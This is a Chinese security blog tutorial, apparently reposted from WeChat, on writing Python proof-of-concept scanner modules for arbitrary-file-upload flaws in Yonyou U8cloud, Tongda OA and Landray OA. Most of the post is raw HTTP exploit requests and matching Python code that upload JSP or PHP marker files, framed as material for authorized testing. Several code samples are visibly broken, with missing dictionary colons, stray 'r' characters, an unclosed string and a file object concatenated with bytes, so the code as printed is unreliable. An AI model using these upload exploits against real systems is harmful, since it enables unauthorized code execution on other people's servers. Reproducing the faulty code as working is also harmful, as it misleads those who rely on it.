Python批量扫描器三类上传漏洞poc编写教程 | 干货

admin 2024年1月1日07:47:25评论35 views字数 5341阅读17分48秒阅读模式



技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

0x02 SCAMagicscan简介

SCAMagicscan是一款由本人自研的基于python开发的开源轻量级扫描器,由扫描引擎(main.py)、pocs(poc集合)、reverse(反连平台配置)三部分组成。现阶段对外只推出前两个模块。

Python批量扫描器三类上传漏洞poc编写教程 | 干货


较于其他扫描器优点如下:

1、轻量化:运行命令简单,无太多繁琐指令需要学习

2、poc开源:poc不封装,直接可在pocs目录查看所有poc源码

3、扫描速度可观:支持自定义扫描线程,根据实际情况调整扫描速度

4、可拓展性强:无固定poc模板,支持各类漏洞poc自定义编写,不仅限与web漏洞

较于其他扫描器缺点如下:

1、界面设计粗糙:直男审美,以实用为主,忽略了界面的美观性

2、无漏洞描述:为了使其轻量化与工作简单化,并无漏洞的相关描述信息

3、延时注入扫描低并发:需要延时注入漏洞poc,需要调低线程数小于10,不然会产生大量漏报

0x04 上传漏洞poc编写

 上传漏洞我根据poc编写的不同方式主要分为了三类:

1、post或get 参数中直接传递文件名和文件内容2、常规上传单文件3、上传zip压缩包

1、post或get 参数中直接传递文件名和文件内容

如:用友u8cloud-linux-任意文件上传漏洞,poc如下

POST /linux/pages/upload.jsp HTTP/1.1Host: {{HostName}}Content-Type:application/x-www-form-urlencodedfilename: test.jsp
<% out.println("test123"); new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>

此例中,上传文件名在headers里面的filename定义,上传内容直接为请求body值,则python的请求包则正常定义即可,如下

url=baseurl+f"linux/pages/upload.jsp"headers = {    "Content-Type":"application/x-www-form-urlencoded",    "filename""test.jsp"  }data=f'''<% out.println("test123"); new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>'''response=requests.post(url=url, headers=headers,data=data,verify=False,timeout=15)

2、常规上传单文件

如:通达-action_upload-任意文件上传漏洞,poc如下:

POST /module/ueditor/php/action_upload.php?action=uploadfile HTTP/1.1Host:{{HostName}}Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryddddddddX_requested_with: XMLHttpRequest
------WebKitFormBoundaryddddddddContent-Disposition: form-data; name="CONFIG[fileFieldName]"
ffff------WebKitFormBoundaryddddddddContent-Disposition: form-data; name="CONFIG[fileMaxSize]"
1000000000------WebKitFormBoundaryddddddddContent-Disposition: form-data; name="CONFIG[filePathFormat]"
ssstest------WebKitFormBoundaryddddddddContent-Disposition: form-data; name="CONFIG[fileAllowFiles][]"
.php------WebKitFormBoundaryddddddddContent-Disposition: form-data; name="ffff"; filename="ssstest.phpContent-Type: application/octet-stream
<?php echo md5(123456);unlink(__FILE__);?>------WebKitFormBoundaryddddddContent-Disposition: form-data; name="mufile"
submit------WebKitFormBoundarydddddd--

此例中,就是常规上传漏洞,content-type为multipart/form-data,上传文件名为ssstest,文件内容为php代码。定义请求url,和请求headers时,常规定义即可。定义请求body时,由于body换行,需要使用三个引号对body进行引用,每行以r结尾,如下所示:

url=baseurl+"module/ueditor/php/action_upload.php?action=uploadfile"headers={'Content-Type''multipart/form-data; boundary=----WebKitFormBoundarydddddddd''X_requested_with': 'XMLHttpRequest'}body='''------WebKitFormBoundaryddddddddrContent-Disposition: form-data; name="CONFIG[fileFieldName]"rffffr------WebKitFormBoundaryddddddddrContent-Disposition: form-data; name="CONFIG[fileMaxSize]"rr1000000000r------WebKitFormBoundaryddddddddrContent-Disposition: form-data; name="CONFIG[filePathFormat]"rrssstestr------WebKitFormBoundaryddddddddrContent-Disposition: form-data; name="CONFIG[fileAllowFiles][]"rr.phpr------WebKitFormBoundaryddddddddrContent-Disposition: form-data; name="ffff"; filename="test.php"rContent-Type: application/octet-streamrr<?php echo md5(123456);unlink(__FILE__);?>r------WebKitFormBoundaryddddddddrContent-Disposition: form-data; name="mufile"rrsubmitr------WebKitFormBoundarydddddddd--r'''response=requests.post(url,body,headers=headers,timeout=5,verify=False)

3、上传压缩包

如蓝凌oa-sysUiComponent-任意文件上传漏洞,poc如下:

POST /sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo&s_ajax=true HTTP/1.1Host: {{HostName}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 461Content-Type: multipart/form-data; boundary=2b048d4d2d20e20e90541907976f0937
--2b048d4d2d20e20e90541907976f0937Content-Disposition: form-data; name="file"; filename="test.zip"Content-Type: application/x-zip-compressed
{{zip_content}}--2b048d4d2d20e20e90541907976f0937--

此例中,上传压缩包后,服务端经过一系列处理,会解析压缩包中的jsp文件并执行,因此上传文件名和文件内容,都在压缩包内完成。上述poc中的{{zip_content}}即为压缩包的二进制字节流,大多数师傅就不知到该如何使用python定义请求body了,这里需要说明的是,requests的请求body数据类型即支持str字符串类型,也支持byte二进制字节流,因此可以将body部分转为二进制字节流即可,提供一下两种写法:

(1)使用requests的file参数,不用在headers里面添加Content-Type字段,file参数请求后会自动添加,如下:

url=baseurl+"sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo&s_ajax=true"headers = {    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",    "Accept-Encoding""gzip",  }files = {'file': (f'test.zip',open('test.zip','rb'), 'application/x-zip-compressed')}response=requests.post(url,files=files,allow_redirects=False,headers=headers,verify=False,timeout=15)

(2)使用二进制字节流进行字符拼接,如下:

url=baseurl+"sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo&s_ajax=true"headers = {    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",    "Accept-Encoding": "gzip",    "Content-Type":"multipart/form-data; multipart/form-data; boundary=2b048d4d2d20e20e90541907976f0937  }body = b'''--2b048d4d2d20e20e90541907976f0937rContent-Disposition: form-data; name="file"; filename="test.zip"rContent-Type: application/x-zip-compressedrr'''+open('test.zip','rb')+b'''r--2b048d4d2d20e20e90541907976f0937--'''response=requests.post(url,body,allow_redirects=False,headers=headers,verify=False,timeout=15)





原文始发于微信公众号(渗透安全团队):Python批量扫描器三类上传漏洞poc编写教程 | 干货

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月1日07:47:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Python批量扫描器三类上传漏洞poc编写教程 | 干货https://cn-sec.com/archives/2353812.html

发表评论

匿名网友 填写信息